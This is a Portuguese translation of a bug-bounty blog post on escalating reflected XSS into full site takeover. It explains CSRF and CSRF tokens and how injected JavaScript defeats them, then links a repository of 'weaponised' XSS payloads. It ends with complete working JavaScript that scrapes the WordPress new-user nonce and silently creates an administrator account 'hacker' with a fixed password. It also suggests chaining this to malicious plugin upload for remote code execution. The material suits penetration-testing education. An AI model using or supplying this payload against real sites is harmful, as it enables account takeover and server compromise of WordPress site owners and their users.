Resumindo, antes de relatar uma vulnerabilidade XSS, verifique o que mais você pode obter com ela Aqui está um link para meu https://github.com/hakluke/weaponised-XSS-payloads

repositório de malware JavaScript para plataformas populares como Wordpress e Drupal. Vou adicionar mais no futuro próximo.

Parece que todos os dias no Twitter me deparo com vulnerabilidades XSS pouco divulgadas. E hoje vi um desses, descrito por um certo Jim (o nome foi mudado para não dar a impressão de que estou culpando alguém). O relatório ficou assim:
Jim descobriu que algumas informações inseridas pelo usuário não seriam validadas.
Jim escreveu <script> alert(1)</script>no campo de entrada, após o qual uma janela de aviso apareceu.
A gravidade da vulnerabilidade foi classificada como P3/Média (média).
A recompensa foi de $ 300.
Fim.
Era sobre uma empresa muito grande e uma vulnerabilidade XSS em seu domínio mais famoso, que era usado para autenticar clientes e realizar uma série de ações críticas. Sem o conhecimento de Jim, no entanto, se ele tivesse se esforçado um pouco mais, poderia ter explorado essa vulnerabilidade para obter acesso a contas com um único clique, e a recompensa já teria chegado a US$ 5.000. Não repita os erros de Jim.

E não é apenas um problema de Jim. Muitos testadores de penetração e caçadores de bugs não se esforçam muito para criar um malware totalmente funcional para explorar uma vulnerabilidade XSS porque leva muito tempo, é muito difícil ou eles nem sabem o que pode ser feito. Depois de ler este artigo, você entenderá como armar a vulnerabilidade XSS encontrada, bem como obter alguns trechos de código que escrevi que permitem que um invasor obtenha controle administrativo total sobre alguns sistemas de gerenciamento de conteúdo comuns, como Wordpress e Drupal.

Antes de continuar com as vulnerabilidades XSS, vamos falar um pouco sobre falsificação de solicitação entre sites (CSRF). Um ataque CSRF ocorre quando um invasor pode executar ações importantes na sessão da vítima, forçando-a a clicar em um link em seu próprio navegador. Por exemplo, vamos imaginar que este endereço seja utilizado por uma aplicação web para alterar a senha do usuário:

https://www.example.com/profile/update_ … d=Welcome1

Obviamente, colocar a senha na solicitação GET é uma prática ruim, mas esse não é o ponto aqui. Se não forem usadas medidas de proteção contra ataques CSRF, o invasor pode enviar à vítima um link da seguinte forma

https://www.example.com/profile/update_ … ord=HACKER

Quando a vítima, que já está autenticada no site wwwexemplo.com , clicar no link, será enviada ao servidor uma solicitação de alteração de senha, bem como dados sobre a sessão da vítima. Assim, a senha do usuário será alterada para absolutamente qualquer uma escolhida pelo hacker, neste caso é “HACKER”.

Proteção contra CSRF

Você provavelmente pensou: "Como você pode se proteger dessa vulnerabilidade?". Em primeiro lugar, essas solicitações devem ser enviadas como solicitações POST com os dados reais no corpo da solicitação. Ao usar solicitações POST, é mais difícil realizar um ataque CSRF devido ao bloqueio da política de mesma origem. Mas, saiba que existem exceções.

A maneira mais comum de prevenir um ataque CSRF é usar tokens CSRF (também conhecidos como códigos únicos ou nonces). O resultado final é que uma string aleatória é gerada e só pode ser acessada no navegador do usuário. Sempre que uma solicitação é enviada para executar uma ação importante, um código único é enviado junto com ela. O servidor verifica esse código. Se estiver correto, a ação de preenchimento do formulário é executada e, caso contrário, a solicitação é rejeitada pelo servidor. Isso é descrito com mais detalhes na https://github.com/OWASP/CheatSheetSeri … t_Sheet.md

Mas eis o seguinte: se você encontrar uma vulnerabilidade XSS, poderá ignorar quase qualquer mecanismo de defesa existente contra ataques CSRF. É verdade que há uma exceção - enviar o formulário requer interação do usuário https://github.com/OWASP/CheatSheetSeri … t_Sheet.md

Como ignorar a proteção CSRF com XSS

Primeiro, o XSS permite que você ignore completamente a regra de restrição de domínio. Como o código mal-intencionado para explorar a vulnerabilidade XSS é executado no contexto do aplicativo afetado, as solicitações geradas pela vulnerabilidade são tratadas da mesma forma que quaisquer outras solicitações do aplicativo e, portanto, não são bloqueadas.

Em segundo lugar, o XSS pode ignorar o uso de tokens CSRF porque o JavaScript injetado pode extrair o código único correto do código-fonte do formulário e enviá-lo junto com a solicitação importante. O uso desta técnica é demonstrado no exemplo abaixo.

Um exemplo de exploração mais eficiente de uma vulnerabilidade XSS para obter direitos totais de administrador no Wordpress
Considere os seguintes fatos:
Hoje, cerca de 30% de todos os sites da Internet são escritos em Wordpress.
Uma vulnerabilidade XSS em um site Wordpress pode ser explorada para criar um novo usuário administrador com qualquer nome de usuário e senha de escolha do invasor.
Os direitos de administrador no Wordpress permitem que você faça upload de plugins.
O carregamento de plug-ins maliciosos resultará na execução remota de código.
Todos esses fatos combinados mostram claramente que a exploração correta das vulnerabilidades XSS de sites no Wordpress permitirá que você execute remotamente qualquer comando até que os administradores parem de executar seu código malicioso.
Isso é especialmente perigoso quando você considera que os nomes de todos os usuários de um site Wordpress podem ser obtidos usando uma ferramenta como o https://github.com/wpscanteam/wpscan
O proprietário de uma conta pode ser identificado simplesmente pesquisando seu nome e empresa no Google ou pesquisando por eles no LinkedIn

Não se esqueça de que a maioria dos plugins e temas do WordPress são criados por desenvolvedores independentes e estão simplesmente repletos de vulnerabilidades. Por exemplo, aqui estão 14.000 deles: https://wpvulndb.com/ .

Recentemente, me vi em uma situação semelhante com um programa de recompensas por bugs. Encontrou uma vulnerabilidade espelhada XSS típica em um site Wordpress e obteve o nome de usuário do administrador usando o WPScan. Descrevi detalhadamente todas as ações realizadas no tíquete do programa de recompensas de bugs, pelo que a vulnerabilidade foi classificada como P1 / Crítica (crítica), embora na verdade não passasse de uma vulnerabilidade XSS refletida. Contexto importa.

Código malicioso

Junto com este artigo, criei um repositório no Github no qual publiquei um código JavaScript malicioso que permite que você assuma o controle de sites Wordpress e Drupal criando um novo usuário com direitos de administrador. Neste momento, existem apenas dois exemplos. Com o tempo, adicionarei mais código JavaScript para plataformas e estruturas comuns e, se você quiser, também poderá participar disso. Você pode dar uma olhada no que está lá:

https://github.com/hakluke/weaponised-XSS-payloads

Como um teaser, aqui está um exemplo de código JavaScript malicioso que criará um novo usuário com direitos de administrador para um site Wordpress .

CÓDIGO:

/*
Target: Wordpress - tested on version 5.1.1, but may work on others
Steps: create a new user with administrative rights with the name "hacker", email "hacker@example.com" and password "AttackerP455"
Context: must be executed in the context of an administrator
*/

var wp_root = "" // don't add a trailing slash
var req = new XMLHttpRequest();
var url = wp_root + "/wp-admin/user-new.php";
var regex = /ser" value="([^"]*?)"/g;
req.open("GET", url, false);
req.send();
var nonce = regex.exec(req.responseText);
var nonce = nonce[1];
var params = "action=createuser&_wpnonce_create-user="+nonce+"&user_login=hacker&email=hacker@example.com&pass1=AttackerP455&pass2=AttackerP455&role=administrator";
req.open("POST", url, true);
req.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
req.send(params);